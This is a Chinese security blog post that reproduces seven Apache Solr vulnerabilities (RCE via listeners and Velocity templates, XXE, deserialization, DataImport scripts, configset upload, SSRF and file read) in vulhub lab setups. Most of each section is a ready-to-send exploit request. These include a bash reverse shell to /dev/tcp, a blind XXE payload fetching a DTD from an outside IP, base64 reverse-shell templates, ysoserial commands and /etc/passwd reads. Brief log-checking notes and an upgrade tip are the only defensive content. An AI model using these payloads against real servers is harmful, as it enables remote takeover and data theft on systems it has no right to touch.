大柚子

这世界不过如此

注:本文仅分享个人漏洞复现及排查,请勿用于非法途径。

简介

Apache Solr 中存储的资源是以 Document 为对象进行存储的。每个文档由一系列的 Field 构成,每个 Field 表示资源的一个属性。Solr 中的每个 Document 需要有能唯一标识其自身的属性,默认情况下这个属性的名字是 id,在 Schema 配置文件中使用:<uniqueKey>id</uniqueKey>进行描述。Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。

漏洞列表

注:以下漏洞环境皆为使用vulhub docker环境搭建。

远程命令执行RCE(CVE-2017-12629)

概述

Apache Solr 是Apache开发的一个开源的基于Lucene的全文搜索服务器。其集合的配置方法(config路径)可以增加和修改监听器,通过RunExecutableListener执行任意系统命令。

影响版本

Apache Solr < 7.1
Apache Lucene < 7.1
包括
RedhatSingle Sign-On 7.0
+ Redhat Linux 6.2 E sparc
+ Redhat Linux 6.2 E i386
+ Redhat Linux 6.2 E alpha
+ Redhat Linux 6.2 sparc
+ Redhat Linux 6.2 i386
+ Redhat Linux 6.2 alpha
Redhat JBoss Portal Platform 6
Redhat JBoss EAP 7 0
Redhat Jboss EAP 6
Redhat JBoss Data Grid 7.0.0
Redhat Enterprise Linux 6
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Redhat Collections for Red Hat EnterpriseLinux 0
Apache Solr 6.6.1
Apache Solr 6.6
Apache Solr 6.5.1
Apache Solr 6.5
Apache Solr 6.4
Apache Solr 6.3
Apache Solr 6.2
Apache Solr 6.6
Apache Solr 6.3
Apache Solr 6.0
ApacheLucene 0

复现过程

新建一个listener,其中设置exe的值为我们想执行的命令,args值是命令参数

POST /solr/demo/config HTTP/1.1
Host: ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 169

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","    args":["-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/xxx 0>&1"]}}

构建新的post包,Update更新一下操作,触发刚刚添加的listener

POST /solr/demo/update HTTP/1.1
Host: 4ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

远程命令执行 XXE(CVE-2017-12629)

概述

Apache Solr是一个开源的搜索服务器。Solr使用Java语言开发,主要基于HTTP和Apache Lucene实现。原理基本上是文档通过Http利用XML加到一个搜索集合中

影响版本

Apache Solr < 7.1

Apache Lucene < 7.1

复现过程

因为这里是一个bindXXE,在这里需要自己构建一个payload。
在另一台服务器web站点下创建一个1.dtd文件,或者用python的开启http


&lt;?xml version="1.0" ?&gt;&lt;!DOCTYPE root&#91;&lt;!ENTITY % ext SYSTEM "http://43.154.198.79/1.dtd"&gt;%ext;%ent;]&gt;&lt;r&gt;&amp;data;&lt;/r&gt;<strong><em>&amp;wt=xml&amp;defType=xmlparser</em></strong>

url编码后的payload如下

%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root[%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f43.154.198.79%2f1.dtd%22%3E%25ext%3b%25ent%3b]%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser

实际利用payload:


/solr/demo/select?&amp;q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root&#91;%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f43.154.198.79%2f1.dtd%22%3E%25ext%3b%25ent%3b]%3E%3Cr%3E%26data%3b%3C%2fr%3E&amp;wt=xml&amp;defType=xmlparser

构造get请求包

日志排查

任意文件读取和命令执行(CVE-2019-17558)

概述

Apache Solr 存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标服务器敏感文件。
漏洞利用需要两步,首先利用Config API打开默认关闭的requestDispatcher.requestParsers.enableRemoteStreaming开关,然后进行文件读取。值得注意的是,默认情况下requestDispatcher.requestParsers.enableRemoteStreaming是关闭,攻击者并不能进行任意文件读取。所以官方并不认为这是一个漏洞,但是从攻击者角度来说可以通过Solr提供的Config API远程打开此开关,然后进行攻击,且Apache Solr生产环境下大多保持默认配置,并无身份校验。

影响版本

Apache Solr 5.0.0 ~8.3.1

复现过程

命令执行

默认情况下 params.resource.loader.enabled 配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心。可以先通过如下API获取所有的核心 (在vulhub中核心就是demo)

http://192.168.52.134:8983/solr/admin/cores?indexInfo=false&wt=json

启用配置 params.resource.loader.enabled ,访问/solr/demo/config构造POST请求,启动配置 (Content-Type为application/json)

URL为:/solr/获取的内核名称/config

POST /solr/demo/config HTTP/1.1
Host: 192.168.52.134:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
} 

通过Velocity模板执行命令,如whoami。修改exec(%27whoami%27)中的代码即可更改命令。使用如下命令

构造GET请求:

http://192.168.52.134:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

反弹shell

构造payload:


GET /solr/demo/select?q=1&amp;&amp;wt=velocity&amp;v.template=custom&amp;v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash+-c+%7Becho%2C<strong><em>反弹shell命令base64编码</em></strong>%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+&#91;1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Host: 192.168.52.134:8983
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
任意文件读取

由上可知vulhub的核心的为demo,访问config接口,发送POST数据包更改配置

注:Content-Type这里验证漏洞时用json方式发包,因为config是json文件读取。

POST /solr/demo/config HTTP/1.1
Host: 192.168.52.134:8983
Content-Type: application/json
Content-Length: 80

{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

构造payload验证漏洞。

注:Content-Type这里验证漏洞时用x-www-form-urlencoded方式发包,因为是读取系统文件采用url编码读取

POST /solr/demo/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.52.134:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

stream.url=file:///etc/passwd 

日志排查

在日志中,开启模板,执行命令都会被记录,但是不会记录来源IP(docker日志,以及var/solr/logs/solr.log)


2022-06-08 03:10:31.676 INFO (qtp2082351661-23) &#91; x:demo] o.a.s.h.SolrConfigHandler Executed config commands successfully and persited to File System &#91;{"update-queryresponsewriter":{
<strong>"startup":"lazy",
"name":"velocity",
"class":"solr.VelocityResponseWriter",
"template.base.dir":"",
"solr.resource.loader.enabled":"true",
"params.resource.loader.enabled":"true"}}]</strong>
2022-06-08 03:10:31.676 INFO (qtp2082351661-23) &#91; x:demo] o.a.s.c.S.Request &#91;demo] webapp=/solr path=/config params={} status=0 QTime=655
2022-06-08 03:10:31.676 INFO (qtp2082351661-23) &#91; x:demo] o.a.s.c.SolrCore &#91;demo] CLOSING SolrCore org.apache.solr.core.SolrCore@15841ca1
2022-06-08 03:10:31.676 INFO (qtp2082351661-23) &#91; x:demo] o.a.s.m.SolrMetricManager Closing metric reporters for registry=solr.core.demo, tag=15841ca1
2022-06-08 03:10:31.677 INFO (qtp2082351661-23) &#91; x:demo] o.a.s.m.r.SolrJmxReporter Closing reporter &#91;org.apache.solr.metrics.reporters.SolrJmxReporter@491380e8: rootName = null, domain = solr.core.demo, service url = null, agent id = null] for registry solr.core.demo / com.codahale.metrics.MetricRegistry@7fe9e583
2022-06-08 03:10:31.683 INFO (searcherExecutor-15-thread-1-processing-x:demo) &#91; x:demo] o.a.s.c.QuerySenderListener QuerySenderListener sending requests to Searcher@6b5460df&#91;demo] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_0(8.2.0):C46:&#91;diagnostics={java.vendor=Oracle Corporation, os=Linux, java.version=11.0.6, java.vm.version=11.0.6+10, lucene.version=8.2.0, os.arch=amd64, java.runtime.version=11.0.6+10, source=flush, os.version=3.10.0-1160.53.1.el7.x86_64, timestamp=1654592453383}]:&#91;attributes={Lucene50StoredFieldsFormat.mode=BEST_SPEED}])))}
2022-06-08 03:10:31.684 INFO (searcherExecutor-15-thread-1-processing-x:demo) &#91; x:demo] o.a.s.c.QuerySenderListener QuerySenderListener done.
2022-06-08 03:10:31.686 INFO (searcherExecutor-15-thread-1-processing-x:demo) &#91; x:demo] o.a.s.c.SolrCore &#91;demo] Registered new searcher Searcher@6b5460df&#91;demo] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_0(8.2.0):C46:&#91;diagnostics={java.vendor=Oracle Corporation, os=Linux, java.version=11.0.6, java.vm.version=11.0.6+10, lucene.version=8.2.0, os.arch=amd64, java.runtime.version=11.0.6+10, source=flush, os.version=3.10.0-1160.53.1.el7.x86_64, timestamp=1654592453383}]:&#91;attributes={Lucene50StoredFieldsFormat.mode=BEST_SPEED}])))}
2022-06-08 03:12:17.733 INFO (qtp2082351661-19) &#91; x:demo] o.a.s.c.S.Request &#91;demo] webapp=/solr path=/select params={q=1&amp;v.template=custom&amp;v.template.custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec('whoami'))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in&#91;1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end&amp;wt=velocity} hits=0 status=0 QTime=72
2022-06-08 03:12:17.733 INFO (qtp2082351661-19) &#91; x:demo] o.a.s.c.PluginBag Going to create a new queryResponseWriter with {type = queryResponseWriter,name = velocity,class = solr.VelocityResponseWriter,attributes = {startup=lazy, name=velocity, class=solr.VelocityResponseWriter, template.base.dir=, solr.resource.loader.enabled=true, params.resource.loader.enabled=true},args = {startup=lazy,template.base.dir=,solr.resource.loader.enabled=true,params.resource.loader.enabled=true}}
2022-06-08 03:16:16.218 INFO (qtp2082351661-22) &#91; x:demo] o.a.s.c.S.Request &#91;demo] webapp=/solr <strong>path=/select params={q=1&amp;v.template=custom&amp;v.template.custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec('id'))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in&#91;1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end&amp;wt=velocity}</strong> hits=0 status=0 QTime=2

远程命令执行漏洞(CVE-2019-0192)

概述

Apache Solr 中的 ConfigAPI 允许设置一个 jmx.serviceUrl,它将创建一个新的 JMXConnectorServerFactory,并通过“绑定”操作触发对目标 RMI/LDAP 服务器的调用。恶意的 RMI 服务器可以响应任意的对象,这些对象将在 Solr 端使用 java 的 ObjectInputStream 反序列化,这被认为是不安全的。这种类型的漏洞可以利用 ysoserial 工具。根据目标类路径,攻击者可以使用其中一个“gadget chain”来触发 Solr 端上的远程代码执行。

影响版本

Apache Solr 5.0.0-5.5.5 版本
Apache Solr 6.0.0-6.6.5 版本

复现过程

拉取docker,创建docker

docker pull solr:5.5.5
docker run -d -p 8983:8983 --name my_solr solr:5.5.5

创建一个test的core

docker exec -it --user=solr my_solr bin/solr create_core -c test

先用ysoserial.jar工具在本地 1099 端口创建一个 rmi server,当反序列化数据 发送到 Server 中,然后 Server 中进行反序列化操作,并开启指定端口,然后在通过 JRMPClient 去发送攻击 payload


java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u “touch /tmp/pwn.txt”

攻击机构建POST请求包,发送POC请求,content-type:appliction/json,Solr端返回了500状态码:


POST /solr/test/config HTTP/1.1
Host: 192.168.52.134:8983
Content-Type: application/json
Content-Length: 259

{“set-property” : {“jmx.serviceUrl” : “service:jmx:rmi:///jndi/rmi://IP:1099/obj”}}

攻击机监听端口收到回连请求,并成功在远程靶机上执行系统命令创建文件:

远程命令执行漏洞(CVE-2019-0193)

概述

Apache Solr DataImport功能 在开启Debug模式时,可以接收来自请求的”dataConfig”参数,这个参数的功能与data-config.xml一样,不过是在开启Debug模式时方便通过此参数进行调试,并且Debug模式的开启是通过参数传入的。在dataConfig参数中可以包含script恶意脚本导致远程代码执行

影响版本

Apache Solr < 8.2.0

Apache Solr 5.x – 8.2.0,存在config API版本

复现过程

执行命令方法1:

创建名为test的Core

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

选择刚创建的 text 核心,直接构造POST请求,在/solr/test/config目录下POST请求发送以下数据 (修改Core的配置)

POST /solr/test/config HTTP/1.1
Host: 192.168.52.134:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

使用EXP攻击,构建payload如下:

GET /solr/test/select?q=1&amp;&amp;wt=velocity&amp;v.template=custom&amp;v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Host: 192.168.52.134:8983
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

反弹shell,将exec里的内容替换如下即可


<strong><em>"bash -c {echo,加密后的linux反弹shell }|{base64,-d}|{bash,-i}"</em></strong>

执行命令方法2

选择刚创建好的 test 核心,选择 Dataimport 功能并选择 debug 模块,将以下POC填入(原来的删除)

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

点击 Execute with this Confuguration 会执行POC,实际发送数据包如下:

POST /solr/test/dataimport?_=1654673856156&indent=on&wt=json HTTP/1.1
Host: 192.168.52.134:8983
Content-Length: 679
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Content-type: application/x-www-form-urlencoded
Origin: http://192.168.52.134:8983
Referer: http://192.168.52.134:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport

进入docker容器,可以发现/tmp/success文件被创建

反弹shell只需修改上述debug配置文件即可。

应急响应

在/var/solr/logs/solr.log文件下,执行的命令皆有记录,但是不记录攻击来源IP

未授权上传漏洞(CVE-2020-13957)

概述

漏洞编号CVE-2020-13957
在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。
整个利用链流程:

上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrVelocity模板进行RCE

影响版本

Apache Solr 6.6.0 -6.6.5

Apache Solr 7.0.0 -7.7.3

Apache Solr 8.0.0 -8.6.2

复现过程

本实验环境为sorl 7.0.1

启动一个solr 7.0.1的服务,启动一个cloud示例


solr start -e cloud -force

将\server\solr\configsets_default\conf目录下的solrconfig.xml文件中params.resource.loader.enabled的值设置为true(为远程命令执行做准备),conf目录下所有文件打包成一个压缩文件


zip -r - * > test.zip。

通过上传API将zip上传进入ZooKeeper,注册一个testset的配置文件


curl -X POST --header "Content-Type:application/octet-stream" --data-binary @test.zip http://IP:8983/solr/admin/configs?action=UPLOAD&amp;name=testset

检查是否上传成功


curl http://IP:8983/api/cluster/configs?omitHeader=true

根据UPLOAD的配置,创建一个新的配置,绕过不能通过直接UPLOAD创建collection的限制


curl "http:/127.0.0.1:8983/solr/admin/configs?action=CREATE&amp;name=file3&amp;baseConfigSet=testset&amp;configSetProp.immutable=false&amp;wt=xml&amp;omitHeader=true"

根据CREATE得到的新configset创建恶意collection


curl "http:/127.0.0.1:8983/solr/admin/collections?action=CREATE&amp;numShards=1&amp;name=file2&amp;collection.configName=file3"

我们可以利用已上传的collection进行远程命令执行


http:&#47;&#47;127.0.0.1:8983/solr/file2/select?q=1&amp;&amp;wt=velocity&amp;v.template=custom&amp;v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+&#91;1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

注:如果不成功可以检查下params.resource.loader.enabled的值设置为true,这是利用solrVelocity模板进行rce的先决条件

Apache Solr SSRF(CVE-2021-27905)

概述

Apache Solr 8.8.2版本之前存在SSRF漏洞和任意文件读取漏洞,攻击者可以利用该漏洞进行SSRF攻击,使得服务端发起请求,成功利用该漏洞可造成内网信息探测。

影响版本

Apache Solr < 8.8.2

复现过程

任意文件读取

首先,访问`http://192.168.52.134:8983/solr/admin/cores?indexInfo=false&wt=json`获取数据库名:

发送如下数据包,修改数据库

demo
的配置,开启
RemoteStreaming
POST /solr/demo/config HTTP/1.1
Host: 192.168.52.134:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 84

{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

再通过

stream.url
读取任意文件,构建如下POST请求包
POST /solr/demo/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.52.134:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

stream.url=file:///etc/passwd
SSRF漏洞

构造SSRF的GET数据包

GET /solr/demo/replication?command=fetchindex&masterUrl=vqa9r2.dnslog.cn HTTP/1.1
Host: 192.168.52.134:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Referer: http://192.168.52.134:8983/solr/db
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

应急排查

在/logs/solr.log日志文件中,能看到执行的命令,但是无法追溯攻击者IP

总结

修复建议

根据影响版本,升级到安全版本

应急排查

在/logs/solr.log日志中,会记录对应poc的执行记录,但是不会记录攻击者IP

参考来源

https://blog.csdn.net/yangbz123/article/details/117827547

https://www.secpulse.com/archives/144081.html

https://cloud.tencent.com/developer/article/1810723

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。